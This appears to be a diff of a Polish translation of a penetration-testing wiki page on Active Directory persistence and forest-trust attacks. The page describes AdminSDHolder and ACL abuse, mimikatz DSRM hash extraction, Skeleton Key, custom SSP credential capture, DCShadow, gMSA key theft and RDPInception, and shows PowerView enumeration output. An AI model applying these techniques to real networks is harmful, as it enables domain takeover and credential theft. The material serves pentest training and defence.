Obiekt **AdminSDHolder** w Active Directory zapewnia bezpieczeństwo **uprzywilejowanych grup** (takich jak Administratorzy Domeny i Administratorzy Enterprise) poprzez zastosowanie standardowej **Listy Kontroli Dostępu (ACL)** w tych grupach, aby zapobiec nieautoryzowanym zmianom. Jednak ta funkcja może być nadużywana; jeśli atakujący zmodyfikuje ACL AdminSDHolder, aby przyznać pełny dostęp zwykłemu użytkownikowi, ten użytkownik zyskuje znaczne kontrolę nad wszystkimi uprzywilejowanymi grupami. To zabezpieczenie, mające na celu ochronę, może więc obrócić się przeciwko, umożliwiając nieuzasadniony dostęp, chyba że będzie ściśle monitorowane.
|
||||
Obiekt **AdminSDHolder** w Active Directory zapewnia bezpieczeństwo **uprzywilejowanych grup** (takich jak Administratorzy Domeny i Administratorzy Enterprise) poprzez zastosowanie standardowej **Listy Kontroli Dostępu (ACL)** w tych grupach, aby zapobiec nieautoryzowanym zmianom. Jednak ta funkcja może być wykorzystana; jeśli atakujący zmodyfikuje ACL AdminSDHolder, aby przyznać pełny dostęp zwykłemu użytkownikowi, ten użytkownik zyskuje znaczne kontrolę nad wszystkimi uprzywilejowanymi grupami. To zabezpieczenie, mające na celu ochronę, może więc obrócić się przeciwko, umożliwiając nieuzasadniony dostęp, chyba że jest ściśle monitorowane.
|
||||
|
||||
[**Więcej informacji o Grupie AdminDSHolder tutaj.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
[**Więcej informacji o grupie AdminDSHolder tutaj.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
|
||||
### Poświadczenia DSRM
|
||||
### DSRM Credentials
|
||||
|
||||
W każdym **Kontrolerze Domeny (DC)** istnieje konto **lokalnego administratora**. Uzyskując prawa administratora na takiej maszynie, hasz lokalnego administratora może być wyodrębniony za pomocą **mimikatz**. Następnie konieczna jest modyfikacja rejestru, aby **włączyć użycie tego hasła**, co pozwala na zdalny dostęp do konta lokalnego administratora.
|
||||
W każdym **kontrolerze domeny (DC)** istnieje konto **lokalnego administratora**. Uzyskując prawa administratora na takiej maszynie, hash lokalnego administratora może być wyodrębniony za pomocą **mimikatz**. Następnie konieczna jest modyfikacja rejestru, aby **umożliwić użycie tego hasła**, co pozwala na zdalny dostęp do konta lokalnego administratora.
|
||||
|
||||
{{#ref}}
|
||||
dsrm-credentials.md
|
||||
{{#endref}}
|
||||
|
||||
### Utrzymanie ACL
|
||||
### ACL Persistence
|
||||
|
||||
Możesz **przyznać** pewne **specjalne uprawnienia** **użytkownikowi** do niektórych konkretnych obiektów domeny, które pozwolą użytkownikowi **eskalować uprawnienia w przyszłości**.
|
||||
Możesz **przyznać** pewne **specjalne uprawnienia** użytkownikowi do niektórych konkretnych obiektów domeny, które pozwolą użytkownikowi **eskalować uprawnienia w przyszłości**.
|
||||
|
||||
{{#ref}}
|
||||
acl-persistence-abuse/
|
||||
{{#endref}}
|
||||
|
||||
### Opisniki Bezpieczeństwa
|
||||
### Security Descriptors
|
||||
|
||||
**Opisy bezpieczeństwa** są używane do **przechowywania** **uprawnień**, jakie **obiekt** ma **nad** innym **obiektem**. Jeśli możesz **dokonać** **małej zmiany** w **opisie bezpieczeństwa** obiektu, możesz uzyskać bardzo interesujące uprawnienia nad tym obiektem bez potrzeby bycia członkiem uprzywilejowanej grupy.
|
||||
**Deskriptory bezpieczeństwa** są używane do **przechowywania** **uprawnień**, jakie **obiekt** ma **nad** innym **obiektem**. Jeśli możesz **dokonać** **małej zmiany** w **deskriptorze bezpieczeństwa** obiektu, możesz uzyskać bardzo interesujące uprawnienia nad tym obiektem bez potrzeby bycia członkiem uprzywilejowanej grupy.
|
||||
|
||||
{{#ref}}
|
||||
security-descriptors.md
|
||||
{{#endref}}
|
||||
|
||||
### Klucz Szkieletowy
|
||||
### Skeleton Key
|
||||
|
||||
Zmień **LSASS** w pamięci, aby ustanowić **uniwersalne hasło**, dając dostęp do wszystkich kont domenowych.
|
||||
|
||||
@ -476,10 +476,10 @@ Zmień **LSASS** w pamięci, aby ustanowić **uniwersalne hasło**, dając dost
|
||||
skeleton-key.md
|
||||
{{#endref}}
|
||||
|
||||
### Niestandardowy SSP
|
||||
### Custom SSP
|
||||
|
||||
[Dowiedz się, czym jest SSP (Dostawca Wsparcia Bezpieczeństwa) tutaj.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
|
||||
Możesz stworzyć swój **własny SSP**, aby **przechwytywać** w **czystym tekście** **poświadczenia** używane do uzyskania dostępu do maszyny.
|
||||
[Dowiedz się, czym jest SSP (Security Support Provider) tutaj.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
|
||||
Możesz stworzyć **własny SSP**, aby **przechwytywać** w **czystym tekście** **poświadczenia** używane do uzyskania dostępu do maszyny.
|
||||
|
||||
{{#ref}}
|
||||
custom-ssp.md
|
||||
@ -487,55 +487,55 @@ custom-ssp.md
|
||||
|
||||
### DCShadow
|
||||
|
||||
Rejestruje **nowy Kontroler Domeny** w AD i używa go do **wypychania atrybutów** (SIDHistory, SPNs...) na określonych obiektach **bez** pozostawiania jakichkolwiek **logów** dotyczących **zmian**. Musisz mieć uprawnienia DA i być w **domenie głównej**.\
|
||||
Rejestruje **nowy kontroler domeny** w AD i używa go do **wprowadzania atrybutów** (SIDHistory, SPNs...) na określonych obiektach **bez** pozostawiania jakichkolwiek **logów** dotyczących **zmian**. Musisz mieć uprawnienia DA i być w **domenie głównej**.\
|
||||
Zauważ, że jeśli użyjesz błędnych danych, pojawią się dość brzydkie logi.
|
||||
|
||||
{{#ref}}
|
||||
dcshadow.md
|
||||
{{#endref}}
|
||||
|
||||
### Utrzymanie LAPS
|
||||
### LAPS Persistence
|
||||
|
||||
Wcześniej omawialiśmy, jak eskalować uprawnienia, jeśli masz **wystarczające uprawnienia do odczytu haseł LAPS**. Jednak te hasła mogą być również używane do **utrzymania trwałości**.\
|
||||
Wcześniej omawialiśmy, jak eskalować uprawnienia, jeśli masz **wystarczające uprawnienia do odczytu haseł LAPS**. Jednak te hasła mogą być również używane do **utrzymania się**.\
|
||||
Sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
laps.md
|
||||
{{#endref}}
|
||||
|
||||
## Eskalacja Uprawnień w Lesie - Zaufania Domen
|
||||
## Forest Privilege Escalation - Domain Trusts
|
||||
|
||||
Microsoft postrzega **Las** jako granicę bezpieczeństwa. Oznacza to, że **skomprmitowanie jednej domeny może potencjalnie prowadzić do skompromitowania całego Lasu**.
|
||||
Microsoft postrzega **las** jako granicę bezpieczeństwa. Oznacza to, że **skomprmitowanie jednej domeny może potencjalnie prowadzić do skompromitowania całego lasu**.
|
||||
|
||||
### Podstawowe Informacje
|
||||
### Basic Information
|
||||
|
||||
[**Zaufanie domeny**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) to mechanizm bezpieczeństwa, który umożliwia użytkownikowi z jednej **domeny** dostęp do zasobów w innej **domenie**. W zasadzie tworzy to powiązanie między systemami uwierzytelniania obu domen, umożliwiając płynne przepływy weryfikacji uwierzytelnienia. Gdy domeny ustanawiają zaufanie, wymieniają i zachowują określone **klucze** w swoich **Kontrolerach Domeny (DC)**, które są kluczowe dla integralności zaufania.
|
||||
[**Zaufanie domeny**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) to mechanizm bezpieczeństwa, który umożliwia użytkownikowi z jednej **domeny** dostęp do zasobów w innej **domenie**. W zasadzie tworzy to połączenie między systemami uwierzytelniania obu domen, umożliwiając płynne przepływy weryfikacji uwierzytelnienia. Gdy domeny ustanawiają zaufanie, wymieniają i zachowują określone **klucze** w swoich **kontrolerach domeny (DC)**, które są kluczowe dla integralności zaufania.
|
||||
|
||||
W typowym scenariuszu, jeśli użytkownik zamierza uzyskać dostęp do usługi w **zaufanej domenie**, musi najpierw zażądać specjalnego biletu znanego jako **inter-realm TGT** z DC swojej własnej domeny. Ten TGT jest szyfrowany za pomocą wspólnego **klucza**, na który obie domeny się zgodziły. Użytkownik następnie przedstawia ten TGT do **DC zaufanej domeny**, aby uzyskać bilet usługi (**TGS**). Po pomyślnej weryfikacji inter-realm TGT przez DC zaufanej domeny, wydaje TGS, przyznając użytkownikowi dostęp do usługi.
|
||||
W typowym scenariuszu, jeśli użytkownik zamierza uzyskać dostęp do usługi w **zaufanej domenie**, musi najpierw zażądać specjalnej legitymacji znanej jako **inter-realm TGT** od DC swojej własnej domeny. Ta TGT jest szyfrowana za pomocą wspólnego **klucza**, na który obie domeny się zgodziły. Użytkownik następnie przedstawia tę TGT **DC zaufanej domeny**, aby uzyskać legitymację usługi (**TGS**). Po pomyślnej weryfikacji inter-realm TGT przez DC zaufanej domeny, wydaje TGS, przyznając użytkownikowi dostęp do usługi.
|
||||
|
||||
**Kroki**:
|
||||
|
||||
1. **Klient komputer** w **Domenie 1** rozpoczyna proces, używając swojego **hasza NTLM**, aby zażądać **Biletu Grantującego Bilet (TGT)** od swojego **Kontrolera Domeny (DC1)**.
|
||||
2. DC1 wydaje nowy TGT, jeśli klient zostanie pomyślnie uwierzytelniony.
|
||||
3. Klient następnie żąda **inter-realm TGT** od DC1, który jest potrzebny do uzyskania dostępu do zasobów w **Domenie 2**.
|
||||
4. Inter-realm TGT jest szyfrowany za pomocą **klucza zaufania** współdzielonego między DC1 a DC2 w ramach dwukierunkowego zaufania domen.
|
||||
1. **Klient komputer** w **Domenie 1** rozpoczyna proces, używając swojego **hasła NTLM** do zażądania **legitymacji Ticket Granting Ticket (TGT)** od swojego **Kontrolera Domeny (DC1)**.
|
||||
2. DC1 wydaje nową TGT, jeśli klient jest pomyślnie uwierzytelniony.
|
||||
3. Klient następnie żąda **inter-realm TGT** od DC1, która jest potrzebna do uzyskania dostępu do zasobów w **Domenie 2**.
|
||||
4. Inter-realm TGT jest szyfrowana za pomocą **klucza zaufania** współdzielonego między DC1 a DC2 w ramach dwukierunkowego zaufania domeny.
|
||||
5. Klient zabiera inter-realm TGT do **Kontrolera Domeny 2 (DC2)**.
|
||||
6. DC2 weryfikuje inter-realm TGT za pomocą swojego współdzielonego klucza zaufania i, jeśli jest ważny, wydaje **Bilet Grantujący Usługę (TGS)** dla serwera w Domenie 2, do którego klient chce uzyskać dostęp.
|
||||
7. Na koniec klient przedstawia ten TGS serwerowi, który jest szyfrowany haszem konta serwera, aby uzyskać dostęp do usługi w Domenie 2.
|
||||
6. DC2 weryfikuje inter-realm TGT za pomocą swojego współdzielonego klucza zaufania i, jeśli jest ważna, wydaje **legitymację usługi (TGS)** dla serwera w Domenie 2, do którego klient chce uzyskać dostęp.
|
||||
7. Na koniec klient przedstawia tę TGS serwerowi, który jest szyfrowany hasłem konta serwera, aby uzyskać dostęp do usługi w Domenie 2.
|
||||
|
||||
### Różne zaufania
|
||||
### Different trusts
|
||||
|
||||
Ważne jest, aby zauważyć, że **zaufanie może być jednostronne lub dwustronne**. W przypadku opcji dwustronnej obie domeny będą sobie ufać, ale w relacji **jednostronnej** jedna z domen będzie **zaufana**, a druga **ufająca**. W ostatnim przypadku **możesz uzyskać dostęp do zasobów wewnątrz ufającej domeny tylko z zaufanej**.
|
||||
Ważne jest, aby zauważyć, że **zaufanie może być jednostronne lub dwustronne**. W przypadku opcji dwustronnej obie domeny będą sobie ufać, ale w relacji **jednostronnej** jedna z domen będzie **zaufana**, a druga **ufająca**. W ostatnim przypadku **możesz uzyskać dostęp do zasobów wewnątrz domeny ufającej tylko z zaufanej**.
|
||||
|
||||
Jeśli Domen A ufa Domenie B, A jest domeną ufającą, a B jest zaufaną. Ponadto, w **Domenie A**, byłoby to **zaufanie wychodzące**; a w **Domenie B**, byłoby to **zaufanie przychodzące**.
|
||||
Jeśli Domen A ufa Domenie B, A jest domeną ufającą, a B jest zaufaną. Ponadto, w **Domenie A** byłoby to **zaufanie wychodzące**; a w **Domenie B** byłoby to **zaufanie przychodzące**.
|
||||
|
||||
**Różne relacje zaufania**
|
||||
|
||||
- **Zaufania Rodzic-Dziecko**: To powszechna konfiguracja w obrębie tego samego lasu, gdzie domena dziecka automatycznie ma dwukierunkowe zaufanie z domeną rodzica. Oznacza to, że żądania uwierzytelnienia mogą płynnie przepływać między rodzicem a dzieckiem.
|
||||
- **Zaufania Krzyżowe**: Nazywane "zaufaniami skrótowymi", są ustanawiane między domenami dziecka, aby przyspieszyć procesy referencyjne. W złożonych lasach, referencje uwierzytelniające zazwyczaj muszą podróżować do korzenia lasu, a następnie w dół do docelowej domeny. Tworząc zaufania krzyżowe, podróż jest skracana, co jest szczególnie korzystne w geograficznie rozproszonych środowiskach.
|
||||
- **Zaufania Zewnętrzne**: Te są ustanawiane między różnymi, niepowiązanymi domenami i są z natury nietransitywne. Zgodnie z [dokumentacją Microsoftu](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), zaufania zewnętrzne są przydatne do uzyskiwania dostępu do zasobów w domenie poza bieżącym lasem, która nie jest połączona przez zaufanie lasu. Bezpieczeństwo jest wzmacniane poprzez filtrowanie SID w przypadku zaufania zewnętrznego.
|
||||
- **Zaufania Korzeni Drzewa**: Te zaufania są automatycznie ustanawiane między domeną korzenia lasu a nowo dodanym korzeniem drzewa. Chociaż nie są powszechnie spotykane, zaufania korzeni drzewa są ważne dla dodawania nowych drzew domen do lasu, umożliwiając im utrzymanie unikalnej nazwy domeny i zapewniając dwukierunkową transytywność. Więcej informacji można znaleźć w [przewodniku Microsoftu](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Zaufania Lasu**: Ten typ zaufania to dwukierunkowe zaufanie transytywne między dwoma domenami korzenia lasu, również egzekwujące filtrowanie SID w celu wzmocnienia środków bezpieczeństwa.
|
||||
- **Zaufania rodzic-dziecko**: To powszechna konfiguracja w tym samym lesie, gdzie domena dziecka automatycznie ma dwukierunkowe zaufanie z domeną rodzica. Oznacza to, że żądania uwierzytelnienia mogą płynnie przepływać między rodzicem a dzieckiem.
|
||||
- **Zaufania krzyżowe**: Nazywane "zaufaniami skrótowymi", są ustanawiane między domenami dziecka, aby przyspieszyć procesy referencyjne. W złożonych lasach, referencje uwierzytelniające zazwyczaj muszą podróżować do korzenia lasu, a następnie w dół do docelowej domeny. Tworząc zaufania krzyżowe, podróż jest skracana, co jest szczególnie korzystne w geograficznie rozproszonych środowiskach.
|
||||
- **Zaufania zewnętrzne**: Są ustanawiane między różnymi, niepowiązanymi domenami i z natury są nietransakcyjne. Zgodnie z [dokumentacją Microsoftu](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), zaufania zewnętrzne są przydatne do uzyskiwania dostępu do zasobów w domenie poza bieżącym lasem, która nie jest połączona z zaufaniem lasu. Bezpieczeństwo jest wzmacniane poprzez filtrowanie SID w przypadku zaufania zewnętrznego.
|
||||
- **Zaufania korzeni drzew**: Te zaufania są automatycznie ustanawiane między domeną korzenia lasu a nowo dodanym korzeniem drzewa. Chociaż nie są powszechnie spotykane, zaufania korzeni drzew są ważne dla dodawania nowych drzew domen do lasu, umożliwiając im utrzymanie unikalnej nazwy domeny i zapewniając dwukierunkową transytywność. Więcej informacji można znaleźć w [przewodniku Microsoftu](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Zaufania lasów**: Ten typ zaufania to dwukierunkowe zaufanie transytywne między dwoma domenami korzenia lasu, również egzekwujące filtrowanie SID w celu wzmocnienia środków bezpieczeństwa.
|
||||
- **Zaufania MIT**: Te zaufania są ustanawiane z domenami Kerberos, które nie są systemami Windows i są zgodne z [RFC4120](https://tools.ietf.org/html/rfc4120). Zaufania MIT są nieco bardziej wyspecjalizowane i odpowiadają środowiskom wymagającym integracji z systemami opartymi na Kerberos poza ekosystemem Windows.
|
||||
|
||||
#### Inne różnice w **relacjach zaufania**
|
||||
@ -543,22 +543,22 @@ Jeśli Domen A ufa Domenie B, A jest domeną ufającą, a B jest zaufaną. Ponad
|
||||
- Relacja zaufania może być również **transytywna** (A ufa B, B ufa C, więc A ufa C) lub **nietransytywna**.
|
||||
- Relacja zaufania może być skonfigurowana jako **zaufanie dwukierunkowe** (obie sobie ufają) lub jako **zaufanie jednostronne** (tylko jedna z nich ufa drugiej).
|
||||
|
||||
### Ścieżka Ataku
|
||||
### Attack Path
|
||||
|
||||
1. **Wymień** relacje zaufania
|
||||
1. **Zenumeruj** relacje zaufania
|
||||
2. Sprawdź, czy jakikolwiek **podmiot bezpieczeństwa** (użytkownik/grupa/komputer) ma **dostęp** do zasobów **innej domeny**, być może przez wpisy ACE lub będąc w grupach innej domeny. Szukaj **relacji między domenami** (zaufanie zostało prawdopodobnie utworzone w tym celu).
|
||||
1. Kerberoast w tym przypadku może być inną opcją.
|
||||
3. **Skompromituj** **konta**, które mogą **przejść** przez domeny.
|
||||
|
||||
Atakujący mogą uzyskać dostęp do zasobów w innej domenie za pomocą trzech podstawowych mechanizmów:
|
||||
|
||||
- **Członkostwo w Grupie Lokalnej**: Podmioty mogą być dodawane do lokalnych grup na maszynach, takich jak grupa "Administratorzy" na serwerze, co daje im znaczne kontrolę nad tą maszyną.
|
||||
- **Członkostwo w Grupie Zewnętrznej**: Podmioty mogą być również członkami grup w zewnętrznej domenie. Jednak skuteczność tej metody zależy od charakteru zaufania i zakresu grupy.
|
||||
- **Członkostwo w grupie lokalnej**: Podmioty mogą być dodawane do lokalnych grup na maszynach, takich jak grupa "Administratorzy" na serwerze, co daje im znaczne kontrolę nad tą maszyną.
|
||||
- **Członkostwo w grupie domeny obcej**: Podmioty mogą być również członkami grup w obcej domenie. Jednak skuteczność tej metody zależy od charakteru zaufania i zakresu grupy.
|
||||
- **Listy Kontroli Dostępu (ACL)**: Podmioty mogą być określone w **ACL**, szczególnie jako podmioty w **ACE** w ramach **DACL**, co zapewnia im dostęp do określonych zasobów. Dla tych, którzy chcą zagłębić się w mechanikę ACL, DACL i ACE, dokument zatytułowany “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” jest cennym źródłem.
|
||||
|
||||
### Znajdź zewnętrznych użytkowników/grupy z uprawnieniami
|
||||
### Find external users/groups with permissions
|
||||
|
||||
Możesz sprawdzić **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`**, aby znaleźć zewnętrzne podmioty bezpieczeństwa w domenie. Będą to użytkownicy/grupy z **zewnętrznej domeny/lasy**.
|
||||
Możesz sprawdzić **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`**, aby znaleźć obce podmioty bezpieczeństwa w domenie. Będą to użytkownicy/grupy z **zewnętrznej domeny/lasu**.
|
||||
|
||||
Możesz to sprawdzić w **Bloodhound** lub używając powerview:
|
||||
```powershell
|
||||
@ -610,21 +610,27 @@ Wznieś się jako administrator przedsiębiorstwa do domeny dziecka/rodzica, wyk
|
||||
sid-history-injection.md
|
||||
{{#endref}}
|
||||
|
||||
#### Wykorzystanie zapisywalnego Configuration NC
|
||||
#### Wykorzystanie zapisywalnego NC Konfiguracji
|
||||
|
||||
Zrozumienie, jak Configuration Naming Context (NC) może być wykorzystywane, jest kluczowe. Configuration NC służy jako centralne repozytorium danych konfiguracyjnych w całym lesie w środowiskach Active Directory (AD). Dane te są replikowane do każdego kontrolera domeny (DC) w lesie, a zapisywalne DC utrzymują zapisywalną kopię Configuration NC. Aby to wykorzystać, należy mieć **uprawnienia SYSTEM na DC**, najlepiej na DC dziecka.
|
||||
Zrozumienie, jak NC Konfiguracji (Naming Context) może być wykorzystywane, jest kluczowe. NC Konfiguracji służy jako centralne repozytorium danych konfiguracyjnych w całym lesie w środowiskach Active Directory (AD). Dane te są replikowane do każdego kontrolera domeny (DC) w lesie, a zapisywalne DC utrzymują zapisywalną kopię NC Konfiguracji. Aby to wykorzystać, należy mieć **uprawnienia SYSTEM na DC**, najlepiej na DC dziecka.
|
||||
|
||||
**Połącz GPO z witryną główną DC**
|
||||
**Połączenie GPO z witryną główną DC**
|
||||
|
||||
Kontener witryn Configuration NC zawiera informacje o wszystkich komputerach dołączonych do domeny w lesie AD. Działając z uprawnieniami SYSTEM na dowolnym DC, atakujący mogą połączyć GPO z witrynami głównymi DC. Działanie to potencjalnie kompromituje główną domenę poprzez manipulację politykami stosowanymi do tych witryn.
|
||||
Kontener Witryn NC Konfiguracji zawiera informacje o wszystkich komputerach dołączonych do domeny w lesie AD. Działając z uprawnieniami SYSTEM na dowolnym DC, atakujący mogą połączyć GPO z witrynami głównymi DC. Działanie to potencjalnie kompromituje główną domenę poprzez manipulację politykami stosowanymi do tych witryn.
|
||||
|
||||
Aby uzyskać szczegółowe informacje, można zbadać badania na temat [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
|
||||
|
||||
**Kompromitacja dowolnego gMSA w lesie**
|
||||
|
||||
Wektor ataku polega na celowaniu w uprzywilejowane gMSA w domenie. Klucz KDS Root, niezbędny do obliczania haseł gMSA, jest przechowywany w Configuration NC. Posiadając uprawnienia SYSTEM na dowolnym DC, można uzyskać dostęp do klucza KDS Root i obliczyć hasła dla dowolnego gMSA w całym lesie.
|
||||
Wektor ataku polega na celowaniu w uprzywilejowane gMSA w domenie. Klucz KDS Root, niezbędny do obliczania haseł gMSA, jest przechowywany w NC Konfiguracji. Posiadając uprawnienia SYSTEM na dowolnym DC, można uzyskać dostęp do klucza KDS Root i obliczyć hasła dla dowolnego gMSA w całym lesie.
|
||||
|
||||
Szczegółowa analiza znajduje się w dyskusji na temat [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
Szczegółowa analiza i przewodnik krok po kroku można znaleźć w:
|
||||
|
||||
{{#ref}}
|
||||
golden-dmsa-gmsa.md
|
||||
{{#endref}}
|
||||
|
||||
Dodatkowe badania zewnętrzne: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
|
||||
**Atak zmiany schematu**
|
||||
|
||||
@ -632,9 +638,9 @@ Ta metoda wymaga cierpliwości, czekając na utworzenie nowych uprzywilejowanych
|
||||
|
||||
Dalsze czytanie dostępne jest na temat [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
|
||||
|
||||
**Z DA do EA z ADCS ESC5**
|
||||
**Od DA do EA z ADCS ESC5**
|
||||
|
||||
Luka ADCS ESC5 celuje w kontrolę nad obiektami Public Key Infrastructure (PKI), aby stworzyć szablon certyfikatu, który umożliwia uwierzytelnienie jako dowolny użytkownik w lesie. Ponieważ obiekty PKI znajdują się w Configuration NC, kompromitacja zapisywalnego DC dziecka umożliwia przeprowadzenie ataków ESC5.
|
||||
Luka ADCS ESC5 celuje w kontrolę nad obiektami Infrastruktury Klucza Publicznego (PKI), aby stworzyć szablon certyfikatu, który umożliwia uwierzytelnienie jako dowolny użytkownik w lesie. Ponieważ obiekty PKI znajdują się w NC Konfiguracji, kompromitacja zapisywalnego DC dziecka umożliwia przeprowadzenie ataków ESC5.
|
||||
|
||||
Więcej szczegółów można przeczytać w [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). W scenariuszach bez ADCS, atakujący ma możliwość skonfigurowania niezbędnych komponentów, jak omówiono w [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
|
||||
@ -649,13 +655,13 @@ TrustDirection : Inbound --> Inboud trust
|
||||
WhenCreated : 2/19/2021 10:50:56 PM
|
||||
WhenChanged : 2/19/2021 10:50:56 PM
|
||||
```
|
||||
W tym scenariuszu **twój domena jest zaufana** przez zewnętrzną, co daje ci **nieokreślone uprawnienia** nad nią. Będziesz musiał znaleźć **które podmioty twojej domeny mają jakie uprawnienia nad zewnętrzną domeną** i spróbować to wykorzystać:
|
||||
W tym scenariuszu **twoja domena jest zaufana** przez zewnętrzną, co daje ci **nieokreślone uprawnienia** nad nią. Będziesz musiał znaleźć **które podmioty twojej domeny mają jakie uprawnienia nad zewnętrzną domeną** i spróbować to wykorzystać:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-oneway-inbound.md
|
||||
{{#endref}}
|
||||
|
||||
### Zewnętrzna domena lasu - jednokierunkowa (wyjściowa)
|
||||
### Zewnętrzna Domena Lasu - Jednokierunkowa (Wychodząca)
|
||||
```bash
|
||||
Get-DomainTrust -Domain current.local
|
||||
|
||||
@ -669,16 +675,16 @@ WhenChanged : 2/19/2021 10:15:24 PM
|
||||
```
|
||||
W tym scenariuszu **twoja domena** **ufa** pewnym **uprawnieniom** dla podmiotu z **innych domen**.
|
||||
|
||||
Jednak gdy **domena jest zaufana** przez ufającą domenę, zaufana domena **tworzy użytkownika** o **przewidywalnej nazwie**, który używa **zaufanego hasła**. Oznacza to, że możliwe jest **uzyskanie dostępu do użytkownika z ufającej domeny, aby dostać się do zaufanej**, aby ją zenumerować i spróbować eskalować więcej uprawnień:
|
||||
Jednakże, gdy **domena jest ufana** przez ufającą domenę, ufana domena **tworzy użytkownika** o **przewidywalnej nazwie**, który używa **hasła zaufanego hasła**. Oznacza to, że możliwe jest **uzyskanie dostępu do użytkownika z ufającej domeny, aby dostać się do zaufanej**, aby ją zenumerować i spróbować eskalować więcej uprawnień:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-one-way-outbound.md
|
||||
{{#endref}}
|
||||
|
||||
Innym sposobem na skompromitowanie zaufanej domeny jest znalezienie [**zaufanego połączenia SQL**](abusing-ad-mssql.md#mssql-trusted-links) utworzonego w **przeciwnym kierunku** zaufania domeny (co nie jest zbyt powszechne).
|
||||
Innym sposobem na skompromitowanie zaufanej domeny jest znalezienie [**zaufanego linku SQL**](abusing-ad-mssql.md#mssql-trusted-links) utworzonego w **przeciwnej kierunku** zaufania domeny (co nie jest zbyt powszechne).
|
||||
|
||||
Innym sposobem na skompromitowanie zaufanej domeny jest czekanie na maszynie, na której **użytkownik z zaufanej domeny może uzyskać dostęp** do logowania przez **RDP**. Następnie atakujący mógłby wstrzyknąć kod w proces sesji RDP i **uzyskać dostęp do domeny źródłowej ofiary** stamtąd.\
|
||||
Co więcej, jeśli **ofiara zamontowała swój dysk twardy**, z procesu sesji **RDP** atakujący mógłby przechowywać **tylnie drzwi** w **folderze startowym dysku twardego**. Ta technika nazywa się **RDPInception.**
|
||||
Co więcej, jeśli **ofiara zamontowała swój dysk twardy**, z procesu sesji **RDP** atakujący mógłby przechowywać **tylnie drzwi** w **folderze uruchamiania dysku twardego**. Ta technika nazywa się **RDPInception.**
|
||||
|
||||
{{#ref}}
|
||||
rdp-sessions-abuse.md
|
||||
@ -694,7 +700,7 @@ rdp-sessions-abuse.md
|
||||
### **Selektywna autoryzacja:**
|
||||
|
||||
- W przypadku zaufania między lasami, stosowanie selektywnej autoryzacji zapewnia, że użytkownicy z dwóch lasów nie są automatycznie uwierzytelniani. Zamiast tego wymagane są wyraźne uprawnienia, aby użytkownicy mogli uzyskać dostęp do domen i serwerów w ufającej domenie lub lesie.
|
||||
- Ważne jest, aby zauważyć, że te środki nie chronią przed wykorzystaniem zapisywalnego kontekstu nazewniczego konfiguracji (NC) ani atakami na konto zaufania.
|
||||
- Ważne jest, aby zauważyć, że te środki nie chronią przed wykorzystaniem zapisywalnego kontekstu nazewnictwa konfiguracji (NC) ani atakami na konto zaufania.
|
||||
|
||||
[**Więcej informacji o zaufaniach domen w ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
|
||||
@ -704,11 +710,11 @@ rdp-sessions-abuse.md
|
||||
https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
|
||||
{{#endref}}
|
||||
|
||||
## Niektóre ogólne środki obronne
|
||||
## Niektóre ogólne obrony
|
||||
|
||||
[**Dowiedz się więcej o tym, jak chronić poświadczenia tutaj.**](../stealing-credentials/credentials-protections.md)
|
||||
|
||||
### **Środki defensywne dla ochrony poświadczeń**
|
||||
### **Środki obronne dla ochrony poświadczeń**
|
||||
|
||||
- **Ograniczenia dla administratorów domeny**: Zaleca się, aby administratorzy domeny mogli logować się tylko do kontrolerów domeny, unikając ich użycia na innych hostach.
|
||||
- **Uprawnienia konta usługi**: Usługi nie powinny być uruchamiane z uprawnieniami administratora domeny (DA), aby zachować bezpieczeństwo.
|
||||
@ -716,14 +722,14 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
|
||||
|
||||
### **Wdrażanie technik oszustwa**
|
||||
|
||||
- Wdrażanie oszustwa polega na ustawianiu pułapek, takich jak fałszywi użytkownicy lub komputery, z funkcjami takimi jak hasła, które nie wygasają lub są oznaczone jako Zaufane do Delegacji. Szczegółowe podejście obejmuje tworzenie użytkowników z określonymi prawami lub dodawanie ich do grup o wysokich uprawnieniach.
|
||||
- Praktyczny przykład obejmuje użycie narzędzi takich jak: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
